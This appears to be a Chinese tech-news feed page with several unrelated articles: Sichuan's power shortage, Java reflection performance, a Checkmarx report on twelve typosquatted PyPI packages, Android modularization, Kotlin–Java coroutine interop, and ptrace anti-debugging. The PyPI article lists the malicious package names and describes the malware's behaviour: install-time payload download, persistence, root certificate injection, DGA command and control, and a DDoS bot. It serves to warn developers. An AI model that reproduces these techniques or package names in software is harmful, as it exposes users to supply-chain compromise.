但说起来,四川可是水电大省啊。

从2021年的数据来看,四川水电装机容量达8947.0万千瓦,位居全国第一。

并且水力发电向来有“夏丰冬枯”的说法。

怎么这个时候,会出现供电紧张的情况?

水电大省为何缺电?

靠着丰富的自然资源,四川的能源结构以水电为主,占全省发电量的70%-80%。

同时四川也是全国水电第一大省,据四川省统计局,2021年末四川水力发电量3531.4亿千瓦时,水电装机容量和年发电量均居全国第一。


根据往年经验,从5-6月开始直到9-10月四川都是丰水期。

此时往往供电大于用电,甚至还会出现被迫“弃水弃电”的情况:水电站储存不下的多余水量只能放弃。据国家能源局消息,2016-2020年四川年均弃水电量超100亿千瓦时。

今年最大的变数是异常高温、干旱。

首先高温会造成居民用电量激增,预计全省最大用电负荷将比去年同期增加25%。

再者今年平均降水量较常年少了51%,为历史同期最少。据国网四川省电力公司消息,干旱造成水电日发电量大幅下降,供电支撑能力大幅下跌。

两者叠加的局面,使电力保供形势十分严峻,而高温天气预计还将持续一周左右。


值得注意的是,四川还有“外送履约执行”的压力。

四川是“西电东送”的重要输出端,电力输送区域包括华东、西北、华北、华中和重庆等。这部分外送的电量是有固定分配比例的。

目前,针对这一问题,四川省已经向省外求援。

据川观新闻消息,四川跨省跨区所有通道已最大化利用,同时增大水电留川规模,大幅削减四川低谷年度外送计划电力。但目前所有电力入川通道已全部满载运行,组织省外电力支援难度增大。

最后还有一点,极端天气除了增加用电负荷,也让电网设备运行环境温度增加,发生故障的概率随之增大,给电力公司的检修工作带来更大压力。

限电影响大吗?

备受关注的是,这次一限电,不少在能源供应大省“安营扎寨”的企业受到了波及。


在四川重点发展的五类企业(电子信息、装备制造、食品饮料、先进材料、能源化工)中,尤以能源化工和电子信息企业受到关注。


图源四川省人民政府

这也与四川出产的战略资源有关:多晶硅、锂矿、稀土、石墨、钒钛……

多晶硅,生产光伏组件、半导体电子的关键原材料。据澎湃新闻介绍,四川多晶硅产量则约占全国产量的13%,截至2021年,四川省内已建成和在建高纯晶硅、拉棒切方、电池片等项目投资超1000亿元。

锂矿,新能源汽车所用电池的重要构成材料之一。据国泰君安介绍,四川地区锂盐产能占比全国锂盐产能接近30%。

由此,限电给企业带来的影响也分为两方面。

一方面,上游的原材料生产企业受到影响。

据华尔街见闻介绍,SMM估算此次限电会导致四川的碳酸锂产量减少约1120吨,占行业比重3%;氢氧化锂产量减少约1690吨,占行业比重约8%。

除了锂与多晶硅以外,一些原材料生产厂商也给出了预计影响的产量。

如据澎湃新闻介绍,四川美丰表示,本次临时停产预计将影响尿素产量约1.5万吨、复合肥产量约0.6万吨。四川绵竹川润化工有限公司,预计将减少锌合金产量约0.1万吨、磷化工产品产量约0.4万吨、合成氨产量0.2万吨。


另一方面,材料上涨的同时、限电导致的产量下降,又会给下游的产业带来进一步影响。

例如,给新能源汽车生产锂电池的工厂宁德时代

据界面新闻消息,宁德时代四川宜宾工厂已经限电停产。

此前,宁德时代宜宾基地第一、二、三、五、六期已建成投运,第七和第八期开工建设,产能达75GWh。若以每辆新能源车搭载50KWh(千瓦时)电量计算,75GWh的动力电池可配套150万辆新能源车。

另外,四川作为电子产业重镇,2019年全省电子信息产业主营业务收入首次突破万亿大关,达10259.9亿元,为全省第一支柱产业,涉及PC产业链、通讯设备、芯片等电子硬件设备制造更是贡献一半以上的收入。

包括英特尔、富士康等与半导体相关的电子信息企业,在四川也均建有工厂。

不过,富士康方面回应中国证券报称,目前对公司运营影响不大。

而郭明錤表示,四川的临时限电可能会影响成都(富士康)和重庆(仁宝)的iPad组装厂。虽然目前很难评估对生产的影响,但如果停电可以在8月20日结束,影响应该是有限的。

与此同时,也有专家认为,这样的限电停产带来的影响是可控的。

比如,在接受澎湃新闻采访时,中国有色金属硅业分会专家委副主任吕锦标表示,本轮四川停限电政策对硅料整体产量影响不大:

只是减负荷,没有停车,系统物料仍然循环。当地主要的三家硅料生产商都很成熟,恢复起来很快。

四川限电减少的硅料供应量不大,不足以影响供求关系,目前新增产能释放,零售市场供需关系得以改善,但需要呼吁长单采购的龙头企业不要再到零售市场抢货,要不然还是会引发价格上扬。

参考链接:
[1]**https://www.sc.gov.cn/10462/10464/10797/2018/7/4/10454397.shtml
[2]**https://m.jiemian.com/article/7920810.html
[3]**https://www.sc.gov.cn/10462/10464/10797/2022/5/16/e8018d148c7149a484d81ba01394261c.shtml
[4]**http://www.nea.gov.cn/2022-07/08/c_1310639564.htm
[5]**https://mp.weixin.qq.com/s/Pt2CgRfW6N-WRcXo6Zp2IQ
[6]**https://ishare.ifeng.com/c/s/v0042lTJmoiuFAeZHmeeSFWhFg4KLfLJGFyHzqutC4Ggh8k__

来源:量子位

收起阅读 »

反射技巧让你的性能提升N倍

在之前的文章和视频中我们拆分了不同的场景对比反射的性能。文字版: 侧重于细节上的知识点更多、更加详细,揭秘反射真的很耗时吗,射 10 万次耗时多久视频版: 通过动画展示讲解,更加的清楚、直观,视频版本 bilibili 地址: https://www.bili...
继续阅读 »

在之前的文章和视频中我们拆分了不同的场景对比反射的性能。

在之前的文章中提到了一个提升性能非常重要的点,将 Accessible 设置 true 反射速度会进一步提升,如果单看一个程序,可能这点性能微不足道,但是如果放在一个大的复杂的工程下面,运行在大量的低端机下,一行代码提升的性能,可能比你写 100 行代码提升的性能更加显著。

而今天这篇文章从源码的角度分析一下 isAccessible() 方法的作用,为什么将 Accessible 设置为 true 可以提升性能,在开始分析之前,我们先写一段代码。

  • 声明一个普通类,里面有个 public 方法 getName()private 方法 getAddress()

class Person {
   public fun getName(): String {
       return "I am DHL"
  }
   
   private fun getAddress(): String {
       return "BJ"
  }
}
  • 通过反射获取 getName()getAddress() 方法,花 3 秒钟思考一下,下面的代码输出的结果

// public 方法
val method1 = Person::class.declaredFunctions.find { it.name == "getName" }
println("access = ${method1?.isAccessible}")

// private 方法
val method2 = Person::class.declaredFunctions.find { it.name == "getAddress" }
println("access = ${method2?.isAccessible}")

无论是调用 public getName() 方法还是调用 private getAddress() 方法,最后输出的结果都为 false,通过这个例子也间接说明了 isAccessible() 方法并不是用来表示访问权限的。

当我们通过反射调用 private 方法时,都需要执行 setAccessible() 方法设置为 true, 否者会抛出下面的异常。

java.lang.IllegalAccessException: can not access a member of class com.hi.dhl.demo.reflect.Person

如果通过反射调用 public 方法,不设置 Accessibletrue,也可以正常调用,所以有很多小伙伴认为 isAccessible() 方法用来表示访问权限,其实这种理解是错误的。

我们一起来看一下源码是如何解释的,方法 isAccessible() 位于 AccessibleObject 类中。

public class AccessibleObject implements AnnotatedElement {
   ......
   // NOTE: for security purposes, this field must not be visible
   boolean override;
   
   public boolean isAccessible() {
       return override;
  }
   
   public void setAccessible(boolean flag) throws SecurityException {
      ......
  }
   ......
}

AccessibleObjectFieldMethodConstructor 的父类,调用 isAccessible() 返回 override 的值,而字段 override 主要判断是否要进行安全检查。

字段 overrideAccessibleObject 子类当中使用,所以我们一起来看一下它的子类 Method

public Object invoke(Object obj, Object... args){
   // 是否要进行安全检查
   if (!override) {
       // 进行快速验证是否是 Public 方法
       if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
           // 返回调用这个方法的 Class
           Class<?> caller = Reflection.getCallerClass();
           // 做权限访问的校验,缓存调用这个方法的 Class,避免下次在做检查
           checkAccess(caller, clazz, obj, modifiers);
      }
  }
  ......
   return ma.invoke(obj, args);
}

字段 override 提供给子类去重写,它的值决定了是否要进行安全检查,如果要进行安全检查,则会执行 quickCheckMemberAccess() 快速验证是否是 Public 方法,避免调用 getCallerClass()

  • 如果是 Public 方法,避免做安全检查,所以我们在代码中不调用 setAccessible(true) 方法,也不会抛出异常

  • 如果不是 Public 方法则会调用 getCallerClass() 获取调用这个方法的 Class,执行 checkAccess() 方法进行安全检查。

// it is necessary to perform somewhat expensive security checks.
// A more complicated security check cache is needed for Method and Field
// The cache can be either null (empty cache)
volatile Object securityCheckCache; // 缓存调用这个方法的 Class

void checkAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers){
   ......
   Object cache = securityCheckCache;  // read volatile
   
   if(cache == 调用这个方法的 Class){
       return;     // ACCESS IS OK
  }
   
   slowCheckMemberAccess(caller, clazz, obj, modifiers, targetClass);
   ......
}

void slowCheckMemberAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers,Class<?> targetClass){
   Reflection.ensureMemberAccess(caller, clazz, obj, modifiers);
   Object cache = 调用这个方法的 Class
   securityCheckCache = cache;         // 缓存调用这个方法的 Class
}

源码中注释也说明了,如果要进行安全检查那么它的代价是非常昂贵的,所以用变量 securityCheckCache 缓存调用这个方法的 Class。如果下次使用相同的 Class,就不需要在做安全检查,但是这个缓存有个缺陷,如果换一个调用这个方法的 Class,需要再次做安全检查,并且会覆盖之前的缓存结果。

如果要在运行时修改属性或者调用某个方法时,都要进行安全检查,而安全检查是非常消耗资源的,所以 JDK 提供了一个 setAccessible() 方法,可以绕过安全检查,让开发者自己来决定是否要避开安全检查。

因为反射本身是非常慢的,如果能够避免安全检查,可以进一步提升性能,在之前的文章 揭秘反射真的很耗时吗,射 10 万次耗时多久,针对不同场景,分别测试了反射前后以及关闭安全检查的耗时。

正常调用反射反射优化后反射优化后关掉安全检查
创建对象0.578 ms/op4.710 ms/op1.018 ms/op0.943 ms/op
方法调用0.422 ms/op10.533 ms/op0.844 ms/op0.687 ms/op
属性调用0.241 ms/op12.432 ms/op1.362 ms/op1.202 ms/op
伴生对象0.470 ms/op5.661 ms/op0.840 ms/op0.702 ms/op

从测试结果可以看出来,执行 setAccessible() 方法,设置为 true 关掉安全检查之后,反射速度得到了进一步的提升,更接近于正常调用。


作者:程序员DHL
来源:https://juejin.cn/post/7121901090332737572

收起阅读 »

PyPi存储库遭恶意利用,尽快删除这12个病毒包!

8月14日,Checkmarx(一家以色列高科技软件公司,世界上知名的代码安全扫描软件 Checkmarx CxSAST 的生产商)的研究人员发现,一位名为“devfather777”的网友发布了 12 个软件包,这些软件包被上传到 PyPi 存储库,并使用与...
继续阅读 »

8月14日,Checkmarx(一家以色列高科技软件公司,世界上知名的代码安全扫描软件 Checkmarx CxSAST 的生产商)的研究人员发现,一位名为“devfather777”的网友发布了 12 个软件包,这些软件包被上传到 PyPi 存储库,并使用与其他流行软件包相似的名称来诱骗软件开发人员使用恶意版本,进而对俄罗斯反恐精英(Counter-Strike)1.6 服务器执行 DDoS 的仿冒攻击。

1 恶意仿冒活动

此次排版攻击依赖于开发人员使用错误的名称,导致使用了与合法软件包相似的恶意软件包。例如,此活动中的一些包及其合法对应包(括号中)是 Gesnim (Gensim)、TensorFolw (TensorFlow) 和 ipaddres (ipaddress)。


2 恶意软件包仍在 PyPi 上

上传的恶意 PyPi 包的完整列表是:

  • Gesnim

  • Kears

  • TensorFolw

  • Seabron

  • tqmd

  • lxlm

  • mokc

  • ipaddres

  • ipadress

  • falsk

  • douctils

  • inda

由于软件开发人员通常通过终端获取这些包,因此很容易以错误的顺序输入其名称和字母。由于下载和构建按预期继续,受害者没有意识到错误并感染了他们的设备。

虽然 CheckMarx 向 PyPi 存储库报告了这些包,但在撰写本文时它们仍然在线。

3 定位 CounterSrike 服务器

在他们的应用程序中下载并使用这些恶意 Python 包之一后,setup.py 中的嵌入代码会运行以确认主机是 Windows 系统,如果是,它会从 GitHub 下载有效负载 (test.exe)。


隐藏在设置脚本中的代码 (Checkmarx)

在 VirusTotal(免费的可疑文件分析服务的网站)上扫描时,69 个防病毒引擎中只有 11 个将文件标记为恶意文件,因此它是一种用 C++ 编写的相对较新/隐蔽的恶意软件。

该恶意软件会自行安装并创建一个启动条目以在系统重新启动之间保持持久性,同时它还注入一个过期的系统范围的根证书。

接下来,它连接到硬编码的 URL 以接收其配置。如果第三次尝试失败,它会寻找对发送到 DGA(域生成算法)地址的 HTTP 请求的响应。

“这是我们第一次在软件供应链生态系统中看到恶意软件(菌株)使用 DGA,或者在这种情况下,使用 UGA 为恶意活动的新指令分配生成的名称,”Checkmarx 在报告中评论道。


攻击流程图 (Checkmarx)

在分析师观察到的案例中,配置命令恶意软件将主机招募到 DDoS 机器人中,该机器人开始向反恐精英(CounterStrike)1.6 服务器发送流量。

目标似乎是通过感染足够多的设备来关闭 Counter-Strike 服务器,以使发送的流量使服务器不堪重负。

用于托管恶意软件的 GitHub 存储库已被删除,但攻击者可以通过滥用不同的文件托管服务来恢复恶意操作。

如果你使用了上面提到的 12 个软件包,并且可能出现了打字错误,一定要仔细检查你的项目,确认是否使用了合法的软件包。

4 影响

Pypi 被恶意攻击已非个例。早在今年 6 月,PyPi python 包就被曝发现将被盗的 AWS 密钥发送到不安全的站点。8 月 9 日,又有威胁分析人员在 PyPI 存储库中发现了 10 个恶意 Python 包,它们被用于窃取密码的恶意软件进而感染正在开发的系统。

Python Package Index (PyPi) 是一个包含超过 350000 个开源软件包的存储库,数百万开发人员可以轻松地将其整合到他们的 Python 项目中,以最小的努力构建复杂的应用程序。

由于开源,软件开发人员经常使用它来挑选基于 Python 的项目的构建块,或者与社区分享他们的工作。

但是,由于任何人都可以将包上传到存储库,并且包不会被删除,除非它们被报告为恶意,因此存储库更常被威胁者滥用,他们使用它来窃取开发人员凭据或部署恶意软件。虽然 PyPi 可以快速响应平台上的恶意包报告,但在提交之前由于缺少强有力的审查,因此危险包可能会潜伏一段时间。

参考链接:

https://medium.com/checkmarx-security/typosquatting-campaign-targeting-12-of-pythons-top-packages-downloading-malware-hosted-on-github-9501f35b8efb

作者:云昭

收起阅读 »

Android 官方项目是怎么做模块化的?快来学习下

概述模块化是将单一模块代码结构拆分为高内聚内耦合的多模块的一种编码实践。模块化的好处模块化有以下好处:可扩展性:在高耦合的单一代码库中,牵一发而动全身。模块化项目当采用关注点分离原则。这会赋予了贡献者更多的自主权,同时也强制执行架构模式。支持并行工作:模块化有...
继续阅读 »

概述

模块化是将单一模块代码结构拆分为高内聚内耦合的多模块的一种编码实践。

模块化的好处

模块化有以下好处:

  • 可扩展性:在高耦合的单一代码库中,牵一发而动全身。模块化项目当采用关注点分离原则。这会赋予了贡献者更多的自主权,同时也强制执行架构模式。
  • 支持并行工作:模块化有助于减少代码冲突,为大型团队中的开发人员提供更高效的并行工作。
  • 所有权:一个模块可以有一个专门的 owner,负责维护代码和测试、修复错误和审查更改。
  • 封装:独立的代码更容易阅读、理解、测试和维护。
  • 减少构建时间:利用 Gradle 的并行和增量构建可以减少构建时间。
  • 动态交付:模块化是 Play 功能交付 的一项要求,它允许有条件地交付应用程序的某些功能或按需下载。
  • 可重用性:模块化为代码共享和构建多个应用程序、跨不同平台、从同一基础提供了机会。

模块化的误区

模块化也可能会被滥用,需要注意以下问题:

  • 太多模块:每个模块都有其成本,如 Gradle 配置的复杂性增加。这可能会导致 Gradle 同步及编译时间的增加,并产生持续的维护成本。此外,与单模块相比,添加更多模块会增加项目 Gradle 设置的复杂性。这可以通过使用约定插件来缓解,将可重用和可组合的构建配置提取到类型安全的 Kotlin 代码中。在 Now in Android 应用程序中,可以在 build-logic文件夹 中找到这些约定插件。
  • 没有足够的模块:相反,如果你的模块很少、很大并且紧密耦合,最终会产生另外的大模块。这将失去模块化的一些好处。如果您的模块臃肿且没有单一的、明确定义的职责,您应该考虑将其进一步拆分。
  • 太复杂了:模块化并没有灵丹妙药 -- 一种方案解决所有项目的模块化问题。事实上,模块化你的项目并不总是有意义的。这主要取决于代码库的大小和相对复杂性。如果您的项目预计不会超过某个阈值,则可扩展性和构建时间收益将不适用。

模块化策略

需要注意的是没有单一的模块化方案,可以确保其对所有项目都适用。但是,可以遵循一般准则,可以尽可能的享受其好处并规避其缺点。

这里提到的模块,是指 Android 项目中的 module,通常会包含 Gradle 构建脚本、源代码、资源等,模块可以独立构建和测试。如下:

一般来说,模块内的代码应该争取做到低耦合、高内聚。

  • 低耦合:模块应尽可能相互独立,以便对一个模块的更改对其他模块的影响为零或最小。他们不应该了解其他模块的内部工作原理。
  • 高内聚:一个模块应该包含一组充当系统的代码。它应该有明确的职责并保持在某些领域知识的范围内。例如,Now in Android 项目中的core-network模块负责发出网络请求、处理来自远程数据源的响应以及向其他模块提供数据。

Now in Android 项目中的模块类型

注:模块依赖图(如下)可以在模块化初期用于可视化各个模块之间的依赖关系。

modularization-graph.png

Now in Android 项目中有以下几种类型的模块:

  • app 模块: 包含绑定其余代码库的应用程序级和脚手架类,app例如和应用程序级受控导航。一个很好的例子是通过导航设置和底部导航栏设置。该模块依赖于所有模块和必需的模块。
  • feature- 模块: 功能特定的模块,其范围可以处理应用程序中的单一职责。这些模块可以在需要时被任何应用程序重用,包括测试或其他风格的应用程序,同时仍然保持分离和隔离。如果一个类只有一个feature模块需要,它应该保留在该模块中。如果不是,则应将其提取到适当的core模块中。一个feature模块不应依赖于其他功能模块。他们只依赖于core他们需要的模块。
  • core-模块:包含辅助代码和特定依赖项的公共库模块,需要在应用程序中的其他模块之间共享。这些模块可以依赖于其他核心模块,但它们不应依赖于功能模块或应用程序模块。
  • 其他模块 - 例如和模块syncbenchmark、 test以及 app-nia-catalog用于快速显示我们的设计系统的目录应用程序。

项目中的主要模块

基于以上模块化方案,Now in Android 应用程序包含以下模块:

模块名职责关键类及核心示例
app将应用程序正常运行所需的所有内容整合在一起。这包括 UI 脚手架和导航。NiaApp, MainActivity 应用级控制导航通过 NiaNavHost, NiaTopLevelNavigation
feature-1, feature-2 ...与特定功能或用户相关的功能。通常包含从其他模块读取数据的 UI 组件和 ViewModel。如:feature-author在 AuthorScreen 上显示有关作者的信息。feature-foryou它在“For You” tab 页显示用户的新闻提要和首次运行期间的入职。AuthorScreen AuthorViewModel
core-data保存多个特性模块中的数据。TopicsRepository AuthorsRepository
core-ui不同功能使用的 UI 组件、可组合项和资源,例如图标。NiaIcons NewsResourceCardExpanded
core-common模块之间共享的公共类。NiaDispatchers Result
core-network发出网络请求并处理对应的结果。RetrofitNiANetworkApi
core-testing测试依赖项、存储库和实用程序类。NiaTestRunner TestDispatcherRule
core-datastore使用 DataStore 存储持久数据。NiaPreferences UserPreferencesSerializer
core-database使用 Room 的本地数据库存储。NiADatabase DatabaseMigrations Dao classes
core-model整个应用程序中使用的模型类。Author Episode NewsResource
core-navigation导航依赖项和共享导航类。NiaNavigationDestination

Now in Android 的模块化

Now in Android 项目中的模块化方案是在综合考虑项目的 Roadmap、即将开展的工作和新功能的情况下定义的。Now in Android 项目的目标是提供一个接近生产环境的大型 App 的模块化方案,并且要让方案看起来并没有过度模块化,希望是在两者之间找到一种平衡。

这种方法与 Android 社区进行了讨论,并根据他们的反馈进行了改进。这里并没有一个绝对的正确答案。归根结底,模块化 App 有很多方法和方法,没有唯一的灵丹妙药。这就需要在模块化之前考虑清楚目标、要解决的问题已经对后续工作的影响,这些特定的情况会决定模块化的具体方案。可以绘制出模块依赖关系图,以便帮助更好地分析和规划。

这个项目就是一个示例,并不是一个需要固守不可改变固定结构,相反而是可以根据需求就行变化的。根据 Now in Android 这是我们发现最适合我们项目的一般准则,并提供了一个示例,可以在此基础上进一步修改、扩展和构建。如果您的数据层很小,则可以将其保存在单个模块中。但是一旦存储库和数据源的数量开始增长,可能值得考虑将它们拆分为单独的模块。

最后,官方对其他方式的模块化方案也是持开发态度,有更好的方案及建议也可以反馈出来。

总结

以上内容是根据 Modularization learning journey 翻译整理而得。整体上是提供了一个示例,对一些初学者有一个可以参考学习的工程,对社区中模块化开发起到的积极的作用。说实话,这部分技术在国内并不是什么新技术了。

下面讲一个我个人对这个模块化方案的理解,以下是个人观点,请批判性看待。

首先是好的点提供了通用的 Gradle 配置,简化了各个模块的配置步骤,各种方式预计会在之后的一些项目中流行开来。

不足的点就是没有明确模块化的整体策略,是应采取按照功能还是按照特性分,类似讨论还有我们平时的类文件是按照功能来分还是特性来分,如下是按照特性区分:

# DO,建议方式
- Project
- feature1
- ui
- domain
- data
- feature2
- ui
- domain
- data
- feature3

按照功能区分的方式大致如下:

# DO NOT,不建议方式
- Project
- ui
- feature1
- feature2
- feature3
- domain
- feature1
- feature2
- feature3
- data

我个人是倾向去按照特性的方式区分,而示例中看上去是偏后者,或者是一个混合体,比如有的模块是添加 feature 前缀的,但是 core-model 模块又是在统一的一个模块中集中管理。个人建议的方式应该是将各个模块中各自使用的模型放到自己的模块中,否则项目在后续进行组件化时将会遇到频繁发版的问题。当然,这种方式在模块化的阶段并没有什么大问题。

模块化之后就是组件化,组件化之后就是壳工程,每个技术阶段对应到团队发展的阶段,有机会的话后面可以展开聊聊。


作者:madroid
链接:https://juejin.cn/post/7128069998978793509
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

Kotlin 协程如何与 Java 进行混编?

问题 在 Java 与 Kotlin 混编项目中大概率是会遇到 Kotlin 线程的使用问题。协程的混编相对于其他特性的使用上会相对麻烦而且比较容易踩坑。我们以获取 token 来举例,比如有一个获取 token 的 suspend 函数: // 常规的 su...
继续阅读 »

问题


在 Java 与 Kotlin 混编项目中大概率是会遇到 Kotlin 线程的使用问题。协程的混编相对于其他特性的使用上会相对麻烦而且比较容易踩坑。我们以获取 token 来举例,比如有一个获取 token 的 suspend 函数:


// 常规的 suspend 函数,可以供 Kotlin 使用,Java 无法直接使用
suspend fun getTokenSuspend(): String {
// do something too long
return "Token"
}

想要在 Java 中直接调用则会产出如下错误:


image.png


了解 Kotlin 协程机制的同学应该知道 suspend 修饰符在 Kotlin 编译器期会被处理成对应的 Continuation 类,这里不展开讨论。


这个问题也可以使用简单的方式进行解决,那就是使用 runBlocking 进行简单包装一下即可。


使用 runBlocking 解决


一般情况下我们可能会使用以下代码解决上述问题。定义的 Kotlin 协程代码如下:


// 提供给 Java 使用的封装函数,Java 代码可以直接使用
fun getTokenBlocking(): String =runBlocking{// invoke suspend fun
getTokenSuspend()
}

在 Java 层代码的使用方式大致如下:


public void funInJava() {
String token = TokenKt.getTokenBlocking();
}

看上去方案比较简单,但是直接使用 runBlocking 也会存在一些隐患。 runBlocking 会阻塞当前调用者的线程,如果是在主线程进行调用的话,会导致 App 卡顿,严重的会导致 ANR 问题。那有没有比 runBlocking 更合理的解决方案呐?


回答这个问题之前,先梳理下 Java 与 Kotlin 两种语言在处理耗时函数的一般做法。


Java & Kotlin 耗时函数的一般定义


Java



  • 靠语义约束。比如定义的函数名中 sync 修饰,表明他可能是一个耗时的函数,更好的还会添加 @WorkerThread 注解,让 lint 帮助使用者去做一些检查,确保不会在主线程中去调用一些耗时函数导致页面卡顿。

  • 靠语法约束,定义 Callback。将耗时的函数执行放到一个单独的线程中执行,然后将回调的结果通过 Callback 的形式返回。这种方式无论调用者是什么水平,代码质量都不会有问题;


Kotlin



  • 靠语义约束,同 Java

  • 添加 suspend 修饰,靠语法约束。内部耗时函数切到子线程中执行。外部调用者使用同步的方式调用耗时函数却不会阻塞主线程(这也是 Kotlin 协程主要宣传的点)。


在 Java 与 Kotlin 混编的项目中,上述情况的复杂度将会上升。


使用 CompletableFuture 解决


在审视一下 runBlocking 的使用问题,这种做法是将 Kotlin 中的语法约束退化到语义约束层面了,有的可能连语义层面的约束都没有,这种情况只能祈求调用者的使用是正确的 -- 在子线程调用,而不是在主线程调用。那应该如何怎么处理,就是采用回调的方式,让语法能够规避的问题就不要采用语义来处理。


suspend fun getToken(): String {
// do something too long
return "Token"
}

fun getTokenFuture(): CompletableFuture<String> {
returnCoroutineScope(Dispatchers.IO).future{getToken()}
}

注意:future 是 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8 包中提供的工具类,基于 CoroutineScope 定义的扩展函数,使用时需要导入依赖包。


Java 中的使用方式如下:


public void funInJava() {
try {
// 通过 Future get() 显示调用 getTokenFuture 函数
TestKt.getTokenFuture().get();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}

可能会问这里看上去和直接在函数内部使用 runBlocking 没有太大的区别,反而使用上会更麻烦些。的确是这样的,这样的目的是把选择权交给调用者,或者说让调用者显示的知道这不是一个简单的函数,从而提高其在使用 API 时的警惕度,也就是之前提到的从语法层面对 API 进行约束。


退一步说,上述的内容是针对的仅仅是“不得不”这么做的场景,但是对于大部分场景都是可以通过合理的设计来避免出现上述情况:



  • 底层定义的 suspend 函数可以在上层的 ViewModel 中的 viewModelScope 中调用解决;

  • 统一对外暴露的 API 是 Java 类的话,新增的 API 提供可以使用 suspend 类型的扩展函数,使用 suspend 类型对外暴露;

  • 如果明确知道调用者是 Java 代码,那么请提供 Callback 的 API 定义;


总结


尽量使用合理的设计来尽量规避 Kotlin 协程与 Java 混用的情况,在 API 的定义上语法约束优先与语义约束,语义约束优于没有任何约束。当然在特殊的情况下也可以使用 CompletableFuture API 来封装协程相关 API。


下面对几种常见场景推荐的一些写法:



  1. 在单元测试中可以直接使用 runBlocking

  2. 耗时函数可以直接定义为 suspend 函数或者使用 Callback 形式返回;

  3. 对于 Java 类中调用协程函数的场景应使用显示的声明告知调用者,严格一点的可以判断线程,对于在主线程调用的可以抛出异常或者记录下来统一处理;

作者:madroid
链接:https://juejin.cn/post/7130270050572828703
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

最近很火的反调试,你知道它是什么吗?

前言 我们日常开发中,永远离不开debug调试,断点技术一直是我们排查bug的有力手段之一!随着网络安全意识的逐步提高,对app安全的要求就越来越高,反调试的技术也渐渐深入我们开发者的眼帘,那么我们来具体看看,android中,同时也是linux内核中,是怎么...
继续阅读 »

前言


我们日常开发中,永远离不开debug调试,断点技术一直是我们排查bug的有力手段之一!随着网络安全意识的逐步提高,对app安全的要求就越来越高,反调试的技术也渐渐深入我们开发者的眼帘,那么我们来具体看看,android中,同时也是linux内核中,是怎么处理调试程序的!


执行跟踪


无论是断点还是其他debug手段,其实都可以总结为一个技术手段,就是执行跟踪,含义就是一个程序监视另一个程序的技术,被跟踪的程序通过一步步执行,知道收到一个信号或者系统调用停止!


在linux内核中,就是通过ptrace系统调用进行的执行跟踪


#include <sys/ptrace.h> 
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

随着我们对linux的了解,那么就离不开对权限的讨论!一个程序跟踪另一个程序这种东西,按照linux风格,肯定是具有某种权限才可以执行!这个权限就是设置了CAP_SYS_PTRACE 权限的进程,就可以跟踪系统中除了init进程(linux第一个进程)外的任何进程!当然!就算一个进程没有CAP_SYS_PTRACE权限,也可以跟踪一个与被监视进程有相同属组的进程,比如父进程可以通过ptrace跟踪子进程!执行跟踪还有一个非常重要的特点,就是两个进程不能同时跟踪一个进程


我们再回到ptrace函数调用,可以看到第一个参数是一个枚举值,其实就是发出ptrace的当前行为,它有以下可选命令(仅部分举例):


image.png
其他的参数含义如下:
pid参数标识目标进程,addr参数表明执行peek(读操作)和poke(写操作)操作的地址,data参数则对于poke操作,指明存放数据的地址,对于peek操作,指明获取数据的地址。


ptrace设计探讨


我们了解了linux提供的系统api,那么我们还是从设计者角度出发,我们想要跟踪一个进程的话,我们需要干点什么?来来来,我们来想一下,可能就会有以下几个问题吧



  1. 被跟踪进程与跟踪进程怎么建立联系

  2. 如果使程序停止在我们想要停止的点(比如断点)

  3. 跟踪进程与被跟踪进程怎么进行数据交换,又或者我们怎么样看到被跟踪进程中当前的数据


下面我们逐步去探讨一下这几个问题吧!(以PTRACE_ATTACH 作为例子)首先对于问题1,我们怎么建立起被跟踪进程与跟踪进程之间的联系呢?linux中进程存在父子关系,兄弟关系对吧!这些进程就可以通过相对便捷的方式进行通信,同时linux也有定义了特殊的信号提供给父子进程的通信。看到这里,相信大家能够猜到ptrace究竟干了啥!就是通过调用ptrace系统调用,把被跟踪进程(第二个参数pid)的进程描述符号中的p_pptr字段指向了跟踪进程!毕竟linux判断进程的描述,就靠着进程描述符,想要建立父子关系,修改进程描述符即可,就这么简单!这里补充一下部分描述符号:


image.png


那么好!我们建立进程之间的联系了,那么当执行跟踪终止的时候,我们就可以调用ptrace 第一个参数为PTRACE_DETACH 命令,把p_pptr恢复到原来的数据即可!(那么有人会问,原来的父进程描述符保存在哪里了,嘿嘿,在p_opptr中,也就是他的祖先中,这里我们不深入讨论)


接下来我们来讨论一下问题2和问题3,怎么使程序停止呢?(这里我们讨论常用的做法,以linux内核2.4版本为准,请注意细微的区别)其实就是被监控进程在读取指令前,就会执行被嵌入的监控代码,如果我想要停止在代码的某一行,这个时候cpu会执行一条“陷阱指令”也称为Debug指令,一般来说,这条指令作用只是为了使程序停止,然后发出一个SIGCHLD信号给父进程(不了解信号的知识可以看看这篇),嘿嘿,那么这个父进程是谁呢?没错,就是我们刚刚改写的监控进程,这样一来,我们的监控进程就能够收到被监控进程的消息,此时就可以继续调用其他的ptrace调用(第一个参数指定为其他需要的枚举值),查看当前寄存器或者其他的数据


image.png


这么说下来可能会有人还是不太懂,我们举个例子,我们的单步调试是怎么样做的:
还是上面的步骤,子进程发送一个SIGCHLD给父进程,此时身为父进程的监控线程就可以再调用ptrace(PTRACE_SINGLESTEP, *, *, * )方法给子进程的下一条指令设置陷阱指令,进行单步调试,此时控制权又会给到子进程,子进程执行完一个指令,就会又发出SIGCHLD给父进程,如此循环下去!


反调试


最近隐私合规与app安全性能被各大app所重视,对于app安全性能来说,反调试肯定是最重要的一环!看到上面的这些介绍,我们应该也明白了ptrace的作用,下面我们介绍一下几种常见的反调试方案:



  1. ptrace占位:利用ptrace的机制,我们知道一个进程只能被一个监控进程所监控,所以我们可以提前初始化一个进程,用这个进程对我们自身app的进程调用一次ptrace即可

  2. 轮询进程状态:可以通过轮训的手段,查看进程当前的进程信息:proc/pid/status


Name: test\
Umask: 0022\
State: D (disk sleep)-----------------------表示此时线程处于sleeping,并且是uninterruptible状态的wait。

Tgid: 157-----------------------------------线程组的主pid\
Ngid: 0\
Pid: 159------------------------------------线程自身的pid\
